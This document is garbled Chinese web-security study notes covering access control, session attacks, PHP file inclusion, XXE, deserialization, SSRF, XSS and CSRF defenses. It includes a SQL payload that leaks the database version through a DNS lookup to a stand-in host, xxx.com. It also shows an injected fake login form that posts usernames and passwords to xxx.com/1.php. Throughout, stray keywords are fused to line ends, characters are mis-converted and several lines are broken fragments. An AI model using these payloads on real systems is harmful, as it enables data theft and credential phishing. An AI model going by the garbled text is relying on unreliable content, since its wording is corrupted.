特性被濫用或無用致使的【漏洞】php
全部用戶輸入須要在服務器端進行集中的統一驗證html
代碼複查python
不要「濫用」隱藏域web
請求參數須要嚴格的驗證其類型正則表達式
服務器返回給客戶端的重要參數、賦值使用HMAC進行參數簽名算法
消息完整性簽名
校驗失敗,說明客戶端嘗試篡改請求參數攻擊,代碼邏輯直接跳事後續業務邏輯代碼,給客戶端返回統一的錯誤信息對每一個須要驗證的請求進行檢查,不只是在用戶第一次登陸請求時進行檢查sql
避免使用本身開發的訪問控制,而是使用開發框架內置或第三方可靠安全訪問控制框架shell
防止客戶端緩存重要內容:設置HTTP響應頭和HTML meta
標籤數據庫
在服務器端使用操做系統提供的訪問控制保護文件的未經受權的訪問json
業務模型的訪問控制受權建模
平行權限訪問
提高權限訪問
會話預測(Session Prediction)指的是攻擊者能夠【預測】出服務端的合法【會話令牌】,從而達成身份冒用的效果。
會話劫持(Session Hijacking)能夠經過中間人劫持攻擊或跨站點腳本攻擊方式拿到用於會話惟一標識的【會話令牌】
會話偷渡(Session Riding)是跨站請求僞造(CSRF)
的另外一種表述
攻擊者不須要克隆受害用戶的會話,攻擊者一次會話頭東攻擊只是借用受害用戶保存在客戶端的【會話令牌】執行一次受害用戶不知情的認證會話操做,攻擊者對於受害用戶使用的【會話令牌】具體是什麼並不知情。
以Apache爲例,可使用.htaccess
,可是使用.htaccess
防護文件上傳漏洞存在反作用,攻擊者上傳精心構造的.htaccess
來使得[上傳目錄]下對特定文件類型開啓腳本解釋執行功能。
C語言頭文件 python import的模塊或包 ......
文件包含漏洞
上述四個PHP函數均可以傳入【變量】來動態加載PHP源代碼文件。且既能夠是【本地文件】,也能夠是【遠程文件】。
PHP本地文件包含執行代碼不依賴於修改PHP的默認運行時配置便可完成認以PHP代碼執行。
經過文件上傳漏洞上傳惡意腳本文件,經過文件包含漏洞去執行腳本。
將惡意腳本文件保存到某個網址下面,經過文件包含漏洞去執行該腳本。
php.ini
open basedir
函數,將其設置爲指定目錄,則只有該目錄的文件容許被訪問allow_url_include=Off
禁止遠程文件包含XML
代碼中包含了加載外部資源的【惡意變量聲明】XML
代碼時無限制解析【惡意變量】聲明語句序列化是將應用程序對象狀態轉換爲二進制數據或文本數據的過程。
反序列化則是其逆向過程,即從二進制數據或文本數據建立對象狀態。
應用程序使用該功能來支持有效共享或存儲對象狀態
。
變化的是數據,類和方法存在於後端代碼中。
案例:[python編寫的SQL注入自動化利用神奇Sqlmap存在的Pickle反序列化漏洞致使代碼執行報告][https://blog.knownsec.com/2015/12/sqlmap-code-execution-vulnerability-analysis/]
全部php裏面的值均可以使用函數serialize()來返回一個包含字節流的字符串來表示。unserialize()函數可以從新把字符串變回php原來的值。 序列化一個對象將會保存對象的全部變量,可是不會保存對象的方法,只會保存類的名字。
*(2a)
字符的左右兩邊被不可打印字符\00
包圍mobile
左邊拼接了字符串\00User\00
,其中User
是類名<對象標識>:<類名長度>:"類名":類的成員變量個數
O:4:"User":3:{
<成員變量類型>:<成員變量名長度>:<成員變量名>";<成員變量值類型>:<成員變量值>;
s:6:"\00*\00age";i:18;
<成員變量類型>:<成員變量名長度>:<成員變量名>";<成員變量值類型>:<成員變量值長度>:<成員變量值>;
s:4:"name";s:9:"zhangsan";
<成員變量類型>:<成員變量名長度>:<成員變量名>":<成員變量值長度>:<成員變量值>;
s:12:"\00User\00moblie";s:11:"1330000000";}
將應用程序配置爲不接受不可信來源的任何反序列化輸入
僅使用具備基本數據類型的序列化函數(如PHP的json_encode()和json_decode())
若是這些措施不可行,那麼在建立對象以前執行反序列化期間應強制約束類型,在較低特權環境(例如,臨時容器)中運行反序列化,並限制與執行反序列化的服務器的網絡鏈接。
同時還能夠經過使用加密或完整性檢查(例如,數字前面),防止惡意的對象建立和數據篡改操做。
全部web應用程序(甚至操做系統)都依靠由第三方開發和提供的各類軟件組件,包括開源組件和商用組件。
文件包含、XXE漏洞、反序列化漏洞均可以用來構造和觸發SSRF,這就是典型的【組合漏洞】和【鏈式漏洞】利用。
嚴格來講,SSRF不是一種獨立漏洞類型,而是一種漏洞利用類型。
curl 支持的協議很是普遍,若是服務端存在curl命令調用的用戶輸入的場景,很是危險!!!
除了文件讀取時容易形成SSRF漏洞(例如文檔、圖片、音視頻處理等在接受文件路徑輸入參數時極可能同時支持本地和網絡協議URL)
數據庫的一些內置功能(家在網絡地址時會自動對其中包含的域名字段進行DNS查詢),也會被利用在SQL注入的過程當中獲取數據。
以sqlmap爲例,在其衆多數據獲取技巧中提供了一個命令行參數--dns-domain
就是實現了利用SQL數據庫在執行一些特定函數時會對其中傳入的參數看成域名進行查詢這個特性的基於DNS的帶外數據回傳
。
select load_file(concat('\\\\'), version, '.xxx.com\\1.txt')
成功執行上述SQL代碼會在xxx.com
的DNS解析服務器上留下一條DNS查詢記錄。
secure_file_priv
的設定會影響到load_file()
是否解析參數中包含的域名
secure_file_priv
缺省設置均爲空,則上述攻擊代碼能得手離開JavaScript也能來一次XSS攻擊,基於頁面篡改。
<div> <form action="xxx.com/1.php">用戶名<input name="a"><br/>密碼<input name="b" type="password"><br/><input type=submit value=登錄> </div>
在絕大多數狀況下,XSS中都會包含JavaScript代碼,以完成更高級的漏洞利用效果
服務端腳本在【輸出】數據時,要進行【轉義】操做
【輸出】數據的【轉義】要按內容是HTML仍是JavaScript進行區別操做
htmlspecialchar()
函數(且大多數狀況下應在第二個參數設置ENT_QUOTES
來轉義單引號)json_encode()
去處理服務端輸出給客戶端的JavaScript變量值在客戶端腳本中儘量使用innerText()
之類的函數來過濾服務端腳本對客戶端變量的賦值
聯合現代瀏覽器的客戶端安全機制,共同對抗XSS
Content Security Policy
的HTTP響應頭對HTTP Header
中的referer
字段進行驗證
HTTP Header
字段記錄了該HTTP請求的來源地址。在一般狀況下,訪問一個安全受限頁面的請求必須來自於同一個網站
在POST請求中添加token做爲參數並驗證
csrftoken
,在HTML的表單中,該字段的輸入域網網是隱藏的在HTTP頭中自定義屬性並驗證
HTTP Header
中自定義的屬性裏添加驗證碼並驗證
csrftoken
做爲GET參數進行請求,防止請求地址唄記錄到瀏覽器的地址欄,也防止token經過Referer泄漏到其餘網站。以上四種防護方法一般是組合使用,而不是單一應用。
CVE-2013-4547 Nginx文件名解析邏輯漏洞
目錄遍歷或信息泄漏(被枚舉探測存在性)
8.3
命名規則,超過部分用~
取代。防護Web服務器URI解析類漏洞